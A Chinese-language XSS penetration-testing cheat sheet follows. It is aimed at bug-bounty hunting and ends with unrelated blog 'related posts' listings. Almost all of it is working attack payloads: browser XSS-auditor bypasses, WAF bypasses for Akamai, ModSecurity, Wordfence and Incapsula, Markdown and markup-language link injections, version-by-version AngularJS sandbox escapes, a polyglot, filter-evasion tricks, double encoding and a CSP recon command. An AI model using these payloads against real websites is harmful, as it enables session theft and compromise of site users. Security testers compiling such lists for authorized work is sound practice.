XSS渗透笔记

javascript禁用后用于提升漏洞危害,适用于SRC挖掘


  1. "><style>body{display:none}</style>

Chrome XSS-Auditor 绕过 by @vivekchsm


  1. <svg><animate xlink:href=#x attributeName=href values=&#106;avascript:alert(1) /><a id=x><rect width=100 height=100 /></a>

Chrome < v60 beta XSS-Auditor 绕过


  1. <script src="data:,alert(1)%250A-->

Other Chrome XSS-Auditor 绕过


  1. <script>alert(1)</script

  1. <script>alert(1)%0d%0a-->%09</script
  2. ``````html
  3. <x>%00%00%00%00%00%00%00<script>alert(1)</script>

Safari XSS 向量 by @mramydnei


  1. <script>location.href;'javascript:alert%281%29'</script>

XSS 变种 by Ahmed Elsobky


  1. jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Kona WAF (Akamai) 绕过


  1. \');confirm(1);//

ModSecurity WAF 绕过 注意:这取决于应用程序设置的安全级别。参见:GitHub - SpiderLabs/ModSecurity: ModSecurity is an open source, cross platform web application firewall (WAF) engine for Apache, IIS and Nginx that is developed by Trustwave's SpiderLabs. It has a robust event-based programming language which provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring, logging and real-time analysis. With over 10,000 deployments world-wide, ModSecurity is the most widely deployed WAF in existence.


  1. <img src=x onerror=prompt(document.domain) onerror=prompt(document.domain) onerror=prompt(document.domain)>

Wordfence XSS 绕过


  1. <meter onmouseover="alert(1)"

  1. '">><div><meter onmouseover="alert(1)"</div>"

  1. >><marquee loop=1 width=0 onfinish=alert(1)>

Incapsula WAF 绕过 by @i_bo0om


  1. <iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>

  1. <img/src=q onerror='new Function`al\ert\`1\``'>

jQuery < 3.0.0 XSS by Egor Homakov


  1. $.get('http://sakurity.com/jqueryxss')

为了真正利用这个jQuery XSS,你需要满足以下要求之一:

1)发现任何跨域请求到不受信任的域,可能会无意中执行脚本。 2)找到任何可以将脚本注入数据源的可信API端点的请求。

URL 验证绕过 (没有 也行)


  1. javas&#x09;cript://www.google.com/%0Aalert(1)

Markdown XSS


  1. [a](javascript:confirm(1))

  1. [a](javascript://www.google.com%0Aprompt(1))

  1. [a](javascript://%0d%0aconfirm(1))

  1. [a](javascript://%0d%0aconfirm(1);com)

  1. [a](javascript:window.onerror=confirm;throw%201)

  1. [a]: (javascript:prompt(1))

  1. [a]:(javascript:alert(1)) //Add SOH Character

Flash SWF XSS
_Note:关于构建基于flash的XSS有效负载的有用参考资料[MWR Labs](https://labs.mwrinfosecurity.com/blog/poppingalert1 -in-flash/)._Lightweight Markup Languages
RubyDoc (.rdoc)


  1. XSS[JavaScript:alert(1)]

Textile (.textile)


  1. "Test link":javascript:alert(1)

reStructuredText (.rst)


  1. `Test link`__.
  2. __ javascript:alert(document.domain)

Unicode 编码


  1. †‡•<img src=a onerror=javascript:alert('test')>…‰€

AngularJS 模板注入 XSS
要对活动目标进行手动验证,请使用“angular”。版本'在您的浏览器控制台1.0.1 - 1.1.5 by Mario Heiderich (Cure53)


  1. {{constructor.constructor('alert(1)')()}}

1.2.0 - 1.2.1 by Jan Horn (Google)


  1. {{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

1.2.2 - 1.2.5 by Gareth Heyes (PortSwigger)


  1. {{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}

1.2.6 - 1.2.18 by Jan Horn (Google)


  1. {{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}

1.2.19 - 1.2.23 by Mathias Karlsson


  1. {{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

1.2.24 - 1.2.29 by Gareth Heyes (PortSwigger)


  1. {{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}

1.3.0 by Gábor Molnár (Google)


  1. {{!ready && (ready = true) && (
  2. !call
  3. ? $$watchers[0].get(toString.constructor.prototype)
  4. : (a = apply) &&
  5. (apply = constructor) &&
  6. (valueOf = call) &&
  7. (''+''.toString(
  8. 'F = Function.prototype;' +
  9. 'F.apply = F.a;' +
  10. 'delete F.a;' +
  11. 'delete F.valueOf;' +
  12. 'alert(1);'
  13. ))
  14. );}}

1.3.1 - 1.3.2 by Gareth Heyes (PortSwigger)


  1. {{
  2. {}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
  3. 'a'.constructor.prototype.charAt=''.valueOf;
  4. $eval('x=alert(1)//');
  5. }}

1.3.3 - 1.3.18 by Gareth Heyes (PortSwigger)


  1. {{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
  2. 'a'.constructor.prototype.charAt=[].join;
  3. $eval('x=alert(1)//'); }}

1.3.19 by Gareth Heyes (PortSwigger)


  1. {{
  2. 'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;
  3. $eval('x=alert(1)//');
  4. }}

1.3.20 by Gareth Heyes (PortSwigger)


  1. {{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

1.4.0 - 1.4.9 by Gareth Heyes (PortSwigger)


  1. {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

1.5.0 - 1.5.8 by Ian Hickey


  1. {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

1.5.9 - 1.5.11 by Jan Horn (Google)


  1. {{
  2. c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
  3. c.$apply=$apply;c.$eval=b;op=$root.$$phase;
  4. $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
  5. C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
  6. B=C(b,c,b);$evalAsync("
  7. astNode=pop();astNode.type='UnaryExpression';
  8. astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
  9. astNode.argument={type:'Identifier',name:'foo'};
  10. ");
  11. m1=B($$asyncQueue.pop().expression,null,$root);
  12. m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
  13. $eval('a(b.c)');[].push.apply=a;
  14. }}

1.6.0+ (no Expression Sandbox) by Mario Heiderich (Cure53)


  1. {{constructor.constructor('alert(1)')()}}

Content Security Policy (CSP) 绕过 ,通过 JSONP
获取目标 CSP:


  1. curl -I http://example.com | grep 'Content-Security-Policy'

现在,我们可以使用谷歌dork在上面列出的域中找到一些JSONP端点。


  1. site:example.com inurl:callback

多语种XSS测试


  1. javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>

调用函数的 JS 模板字面量


  1. <svg onload=alert`1`></svg>
  2. <script>alert`1`</script>

避免关键字和特定子字符串,如已经在JS代码里


  1. (alert)(1)
  2. globalThis[`al`+/ert/.source]`1`
  3. this[`al`+/ert/.source]`1`
  4. [alert][0].call(this,1)
  5. window['a'+'l'+'e'+'r'+'t']()
  6. window['a'+'l'+'e'+'r'+'t'].call(this,1)
  7. top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
  8. (1,2,3,4,5,6,7,8,alert)(1)
  9. x=alert,x(1)
  10. [1].find(alert)
  11. top["al"+"ert"](1)
  12. top[/al/.source+/ert/.source](1)
  13. al\u0065rt(1)
  14. al\u0065rt`1`
  15. top['al\145rt'](1)
  16. top['al\x65rt'](1)
  17. top[8680439..toString(30)](1)

改变大小写
有时,正则表达式或其他定制过滤器会进行区分大小写的匹配。然后,您可以只使用 toLowerCase(),例如:


  1. globalThis["aLeRt".toLowerCase()]

双重编码
有时应用程序会在再次解码之前对字符串执行 XSS 过滤,这会使过滤器绕过打开它。这非常罕见,


  1. 字符 双编码
  2. < %253C
  3. > %253E
  4. ( %2528
  5. ) %2529
  6. " %2522
  7. ' %2527

如果想学好XSS慢慢研究学习相关的模板语言。

XSS

XSS干货-来源于个人思路构造以及网络分享 - 好黑客

XSS笔记-来源于个人思路构造以及网络分享相关推荐

  1. 深度学习笔记(27) 经典卷积网络

    深度学习笔记(27) 经典卷积网络 1. 前言 2. LeNet-5 3. AlexNet 4. VGGNet 1. 前言 讲了基本构建,比如卷积层.池化层以及全连接层这些组件 事实上,过去几年计算机 ...

  2. 深度学习笔记(12) Batch归一化网络

    深度学习笔记(12) Batch归一化网络 1. Batch归一化 2. 激活值归一化 3. 特殊情况不归一化 4. mini-batch上的Batch归一化 1. Batch归一化 Batch归一化 ...

  3. 深度学习入门笔记(八):深层网络的原理

    欢迎关注WX公众号:[程序员管小亮] 专栏--深度学习入门笔记 声明 1)该文章整理自网上的大牛和机器学习专家无私奉献的资料,具体引用的资料请看参考文献. 2)本文仅供学术交流,非商用.所以每一部分具 ...

  4. Deep Learning论文笔记之(七)深度网络高层特征可视化

    Deep Learning论文笔记之(七)深度网络高层特征可视化 zouxy09@qq.com http://blog.csdn.net/zouxy09          自己平时看了一些论文,但老感 ...

  5. 深度学习笔记(46) 深度卷积网络学习

    深度学习笔记(46) 深度卷积网络学习 1. 学习内容 2. 第一层 3. 第二层 4. 第三层 5. 第四层 6. 第五层 1. 学习内容 深度卷积网络到底在学什么? 来看一个例子,假如训练了一个卷 ...

  6. XSS测试绕过WAF思路

    今天继续给大家介绍渗透测试相关知识,本文主要内容是XSS测试绕过WAF思路. 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! 再次强调:严禁对未 ...

  7. 最近研究了一个.NET的DHT网络搜索引擎,顺便重新整理了下引擎思路,供大家分享讨论下。...

    最近研究了一个.NET的DHT网络搜索引擎,顺便重新整理了下引擎思路,供大家分享讨论下. 转载于:https://www.cnblogs.com/oshoh/p/5493880.html

  8. RCNN学习笔记——第三篇: 实现FRCNN网络训练、评价与预测(附全部源码)

    RCNN学习笔记--第三篇: 实现FRCNN网络训练.评价与预测(附全部源码) 本文是个人根据B站大佬Bubbliiiing的FRCNN系列视频同步完成FRCNN训练,记录心得和遇见的问题. 关于RC ...

  9. 【PyTorch】构造VGG19网络进行本地图片分类(超详细过程)——项目介绍

    本篇博客主要解决以下3个问题: 如何自定义网络(以VGG19为例). 如何自建数据集并加载至模型中. 如何使用自定义数据训练自定义模型. 第一篇:[PyTorch]构造VGG19网络进行本地图片分类( ...

最新文章

  1. 小小的Python编程故事
  2. jQuery Pagination分页插件的使用
  3. faster rcnn源码解读(五)之layer(网络里的input-data)
  4. halcon append_ocr_trainf 将字符添加到训练文件中
  5. 如何机智的弄坏一台电脑?
  6. leetcode刷题:搜索旋转排序数组
  7. 腾讯2014在广州站实习生offer经验(TEG-开发背景)
  8. Linux 编译debug内核
  9. 操作系统---IO设备
  10. perl 产生随机数
  11. Spring Boot Admin 基于security 认证监控
  12. Grafana自定义报警
  13. 3.PMAC硬件-组成和接口及安装
  14. ubuntu如何降级到之前的版本
  15. 关于报错Unknown custom element:did you register the component correctly? For recursive components的解决方式
  16. 特征工程 | 信息价值IV与群体稳定性PSI
  17. [CSP-S模拟测试]:壕游戏(费用流)
  18. Java实现三国曹操华容道的游戏
  19. 游戏手柄HID描述符
  20. 第七天(OSPF的优化及拓展配置)

热门文章

  1. 谷歌ai人工智能叫什么_用Google新的AI强大工具翻译古代象形文字
  2. 齿坯基准面径向和端面圆跳动公差(μm)
  3. Pixelmator Pro为您抓住照片的质感,适合每个人的专业编辑图像工具
  4. 期末考试查分,基于青果高校教务系统的一个自动python脚本代码。
  5. 一个高中生的编程自学经历
  6. java还原三阶魔方_魔方小站四阶魔方教程2 一看就懂的魔方教程(魔方玩法视频教程+还原公式一步一步图解+3D动画)...
  7. sql中的left join 查询
  8. 高纯度钨酸铜粉末/钨酸铁粉末/钨酸亚铁粉末/硫化铋粉末/铬酸铋粉末/氧化锆粉末/铬酸钡粉末
  9. docker 部署jenkins + sonarqube + postgresql 代码扫描
  10. 服务器的回收站在哪个文件夹,Windows系统回收站的文件保存在哪个磁盘上